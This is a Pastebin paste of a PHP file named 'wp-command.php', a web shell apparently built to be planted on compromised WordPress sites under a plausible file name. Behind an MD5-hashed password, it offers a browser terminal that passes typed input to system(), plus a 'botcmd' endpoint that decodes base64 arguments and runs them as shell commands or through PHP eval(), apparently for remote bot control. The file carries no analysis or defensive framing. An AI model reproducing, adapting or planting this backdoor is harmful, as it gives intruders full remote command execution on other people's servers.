PalmaSolutions

wp-command.php

Apr 9th, 2018
242
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.99 KB | None | 0 0
  1. <?php
  2. $auth = "f20d65463f1f5bf4d5d87528a5e2004f";
  3. $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  4.  
  5. function display_auth_form() {
  6.     global $url;
  7.     ?>
  8.     <form action="<?php echo $url ?>" method="post">
  9.         <input type="password" id="pwd" name="pwd">
  10.         <input type="hidden" id="do_auth" name="do_auth">
  11.         <input type="submit">
  12.     </form>
  13. <?php
  14. }
  15.  
  16. function auth() {
  17.     global $auth;
  18.     if ((!isset($_COOKIE['auth'])) && (!isset($_POST['do_auth']))) {
  19.         display_auth_form();
  20.         die();
  21.     }
  22.     if (isset($_POST['do_auth'])) {
  23.         if (isset($_POST['pwd'])) {
  24.             if (md5($_POST['pwd'])===$auth) {
  25.                 setcookie("auth",md5($_POST['pwd']));
  26.                 return true;
  27.             } else {
  28.                 display_auth_form();
  29.                 die();
  30.             }
  31.  
  32.         }
  33.         display_auth_form();
  34.         die();
  35.     }
  36.  
  37.     if (isset($_COOKIE['auth']))
  38.         if ($_COOKIE['auth']===$auth) {
  39.             return true;
  40.         } else {
  41.             display_auth_form();
  42.             die();
  43.         }
  44. }
  45.  
  46. function display_interface() {
  47.     global $url;
  48.     ?>
  49.     <html>
  50.     <title><?php echo $_SERVER['HTTP_HOST']; ?></title>
  51.     <style>
  52.         #windowr {
  53.             font-size: 13px;
  54.             color:#00ff00;
  55.             border:2px solid #00a000;
  56.             width:800px; height:50px;
  57.             background: #000000;
  58.             padding-left:10px;
  59.         }
  60.         #cmd {
  61.             background: #2F2F2F;
  62.             color:#00ff00;
  63.         }
  64.     </style>
  65.     <script>
  66.  
  67.         function logout() {
  68.             document.cookie="auth=1;";
  69.             window.location='<?php echo $url; ?>';
  70.         }
  71.  
  72.         function ajaxCallback(txt) {
  73.             var windowr = document.getElementById('windowr');
  74.             windowr.value=windowr.value+txt+'\n';
  75.             windowr.scrollTop = windowr.scrollHeight;
  76.             var cmd = document.getElementById('cmd');
  77.             cmd.value='';
  78.         }
  79.  
  80.         function callAjax(url,postdata){
  81.             //var body = encodeURIComponent(postdata);
  82.             //alert(postdata); return;
  83.             var xmlhttp;
  84.  
  85.             xmlhttp = new XMLHttpRequest();
  86.             xmlhttp.onreadystatechange = function(){
  87.                 if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
  88.                     ajaxCallback(xmlhttp.responseText);
  89.                 }
  90.             }
  91.             xmlhttp.open("POST", url, true);
  92.             xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  93.             xmlhttp.send(postdata);
  94.         }
  95.  
  96.         function handleEnter(o,e) {
  97.             if (e.keyCode == 13) {
  98.                 var cmd = document.getElementById('cmd');
  99.                 var windowr = document.getElementById('windowr');
  100.                 windowr.value=windowr.value+'\n$ '+cmd.value+'\n';
  101.                 callAjax('<?php echo $url; ?>','action=cmd&cmd='+encodeURIComponent(cmd.value));
  102.                 return false;
  103.             }
  104.         }
  105.  
  106.  
  107.     </script>
  108.     <body style="background: #000;">
  109.     <table width="100%" border="0" style="background: #000; color: #0f0;">
  110.         <tr width="100%">
  111.             <td width="100%">
  112.                 <center>
  113.                     <input type="text" id="cmd" name="cmd" style="width: 800px;" onkeydown="javascript:handleEnter(this,event);">
  114.                 </center>
  115.             </td>
  116.         </tr>
  117.         <tr width="100%">
  118.             <td width="100%">
  119.                 <center>
  120.                     <textarea id="windowr" name="windowr" style="width: 800px; height: 800px;"></textarea>
  121.                 </center>
  122.             </td>
  123.         </tr>
  124.         <tr><td><center><a href="#" onclick="javascript: logout();">exit</a></center></td></tr>
  125.     </table>
  126.     </body>
  127.     </html>
  128. <?php
  129. }
  130.  
  131. function handle_cmd() {
  132.     system($_POST['cmd']." 2>&1");
  133. }
  134.  
  135. function handle_bot_cmd() {
  136.     if (isset($_POST['cmd']))
  137.         switch($_POST['cmd']) {
  138.             case 'code':
  139.                 handle_bot_cmd_code();
  140.                 break;
  141.             case 'shell':
  142.                 handle_bot_cmd_shell();
  143.                 break;
  144.             default:
  145.                 break;
  146.         }
  147. }
  148.  
  149. function handle_bot_cmd_shell() {
  150.     ob_start();
  151.     system(base64_decode($_POST['arg']));
  152.     $r=ob_get_clean();
  153.     print $r;
  154. }
  155.  
  156. function handle_bot_cmd_code() {
  157.     ob_start();
  158.     eval(base64_decode($_POST['arg']));
  159.     $r=ob_get_clean();
  160.     print $r;
  161. }
  162.  
  163. function logout() {
  164.     global $url;
  165.     setcookie("auth","1");
  166.     print "<script>window.location='".$url."';</script>";
  167.     die();
  168. }
  169.  
  170.  
  171.  
  172. auth();
  173. if (!isset($_POST['action']))
  174.     display_interface();
  175.  
  176. if (isset($_POST['action']))
  177.     switch ($_POST['action']) {
  178.         case 'cmd':
  179.             handle_cmd();
  180.             break;
  181.         case 'botcmd':
  182.             handle_bot_cmd();
  183.             break;
  184.         case 'logout':
  185.             logout();
  186.             break;
  187.         default:
  188.             return;
  189.     }
Add Comment
Please, Sign In to add comment